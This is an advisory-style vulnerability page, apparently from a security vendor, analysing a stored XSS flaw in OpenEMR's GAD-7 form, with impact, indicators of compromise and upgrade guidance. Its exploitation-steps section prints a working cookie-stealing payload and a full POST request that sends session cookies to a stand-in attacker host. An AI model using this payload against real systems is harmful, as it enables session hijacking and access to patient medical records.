CVE-2025-69231: 
OpenEMR vulnerability analysis and mitigation

Overview

CVE-2025-69231 is a stored cross-site scripting (XSS) vulnerability in OpenEMR's GAD-7 anxiety assessment form that allows authenticated users with clinician privileges to inject malicious JavaScript executed in the browsers of other users viewing the form. It affects all OpenEMR versions prior to 8.0.0 and was disclosed on February 25, 2026. The vulnerability carries a CVSS v3.1 base score of 8.7 (High) per the GitHub Security Advisory, enabling session hijacking, account takeover, and privilege escalation from clinician to administrator (GitHub Advisory, Red Hat CVE).

Technical details

The root cause (CWE-79) is the use of PHP's text() function — which applies htmlspecialchars() with ENT_NOQUOTES — to output user-controlled database values directly into inline JavaScript blocks in interface/forms/gad7/view.php. Because ENT_NOQUOTES does not escape single or double quotes, and the output lands inside a JavaScript variable assignment (e.g., var i = <user_value>;), an attacker can break out of the numeric context and inject arbitrary JavaScript. Seven fields are affected across lines 103, 122, 142, 161, 180, 199, and 218 of view.php (nervous_score, control_worry_score, worry_score, relax_score, restless_score, irritable_score, fear_score); the save.php handler stores values via prepared statements without sanitization, making the payload persistent. Exploitation requires an authenticated clinician account and a victim user who clicks the "Edit" button on the compromised GAD-7 form entry (GitHub Advisory, Patch Commit).

Impact

Successful exploitation allows an attacker to steal session tokens of any user who views the poisoned GAD-7 form, enabling full account takeover and privilege escalation from the clinician role to administrator. Because the payload is stored in the database, it executes repeatedly for every victim who opens the form, amplifying the blast radius. In a healthcare context, administrator-level access exposes all patient medical records, potentially constituting a HIPAA-reportable data breach (GitHub Advisory).

Exploitability

A proof-of-concept exploit is publicly documented in the GitHub Security Advisory, including the exact POST payload and trigger steps. There is no confirmed evidence of in-the-wild exploitation at this time, and no CISA KEV listing has been identified. The EPSS score is approximately 0.0017 (0.17%), reflecting low but non-zero exploitation probability. The GAD-7 form is disabled by default in OpenEMR but is commonly enabled in clinical deployments, limiting but not eliminating the attack surface (GitHub Advisory, Feedly).

Exploitation steps

  1. Authenticate as a clinician: Log into the OpenEMR instance using an account with the "Clinicians" role.
  2. Verify GAD-7 form is enabled: Confirm the GAD-7 anxiety assessment form is active in the patient encounter module (it is disabled by default but commonly enabled).
  3. Inject the XSS payload: Submit a crafted POST request to /interface/forms/gad7/save.php?mode=new with a malicious value in the control_worry_score field (or any of the other six vulnerable fields). Example decoded payload for control_worry_score: 0;fetch("http://attacker.com?c="+document.cookie);//
    POST /interface/forms/gad7/save.php?mode=new
    csrf_token_form=<valid_token>&nervous_score=1&control_worry_score=0%3bfetch(%22http%3a//attacker.com%3fc%3d%22%2bdocument.cookie)%3b//&worry_score=1&relax_score=1&restless_score=0&irritable_score=1&fear_score=1&difficulty=1
  4. Payload persists in database: The save.php handler stores the value in the form_gad7 table without sanitization, making the payload permanent.
  5. Trigger execution on victim: Wait for (or socially engineer) a higher-privileged user (e.g., administrator) to navigate to the patient encounter and click the "Edit" button on the compromised GAD-7 form entry.
  6. Harvest session tokens: The injected JavaScript executes in the victim's browser, exfiltrating their session cookie to the attacker-controlled server.
  7. Escalate privileges: Use the stolen session token to authenticate as the victim administrator and gain full control of the OpenEMR instance, including access to all patient records (GitHub Advisory).

Indicators of compromise

  • Network: Outbound HTTP requests from the OpenEMR server or client browsers to unexpected external domains/IPs containing query parameters such as ?c= with encoded cookie values; unusual GET requests to attacker-controlled infrastructure originating from clinician or administrator browser sessions.
  • Logs: OpenEMR access logs showing POST requests to /interface/forms/gad7/save.php with URL-encoded JavaScript payloads (e.g., %3b, fetch, document.cookie) in score fields; repeated access to GAD-7 view/edit endpoints by multiple user accounts in a short timeframe.
  • Database: Entries in the form_gad7 table where score fields (control_worry_score, nervous_score, etc.) contain non-numeric values or JavaScript fragments (e.g., values containing ;, fetch(, alert(, //).
  • Process/Session: Unexpected administrator-level actions (user creation, configuration changes, record exports) occurring shortly after a clinician-level user submitted a GAD-7 form, suggesting session hijacking and privilege escalation (GitHub Advisory).

Mitigation and workarounds

Upgrade OpenEMR to version 8.0.0 or later, which replaces the vulnerable text() function calls with js_escape() across all seven affected lines in interface/forms/gad7/view.php, providing proper JavaScript context escaping (Patch Commit). If immediate patching is not possible, consider temporarily disabling the GAD-7 form module to eliminate the attack surface. Additionally, audit the form_gad7 database table for non-numeric values in score fields and review access logs for suspicious POST activity to save.php (GitHub Advisory).

Community reactions

The vulnerability was reported by researcher DQH1 and published via the OpenEMR GitHub Security Advisory program by project maintainer bradymiller on February 25, 2026. The Hacker Wire covered the disclosure, highlighting the clinician-to-administrator privilege escalation angle as particularly significant for healthcare environments (The Hacker Wire). Red Hat also tracked the CVE in their security advisory database (Red Hat CVE).

Additional resources


Source: This report was generated using AI

Related OpenEMR vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-40506HIGH7
  • OpenEMR logoOpenEMR
  • cpe:2.3:a:open-emr:openemr
NoYesAug 17, 2026
CVE-2026-76614MEDIUM5.3
  • OpenEMR logoOpenEMR
  • cpe:2.3:a:open-emr:openemr
NoYesAug 19, 2026
CVE-2026-40509MEDIUM5.3
  • OpenEMR logoOpenEMR
  • cpe:2.3:a:open-emr:openemr
NoYesAug 19, 2026
CVE-2026-40508MEDIUM5.1
  • OpenEMR logoOpenEMR
  • cpe:2.3:a:open-emr:openemr
NoYesAug 19, 2026
CVE-2026-40507MEDIUM5.1
  • OpenEMR logoOpenEMR
  • cpe:2.3:a:open-emr:openemr
NoYesAug 19, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management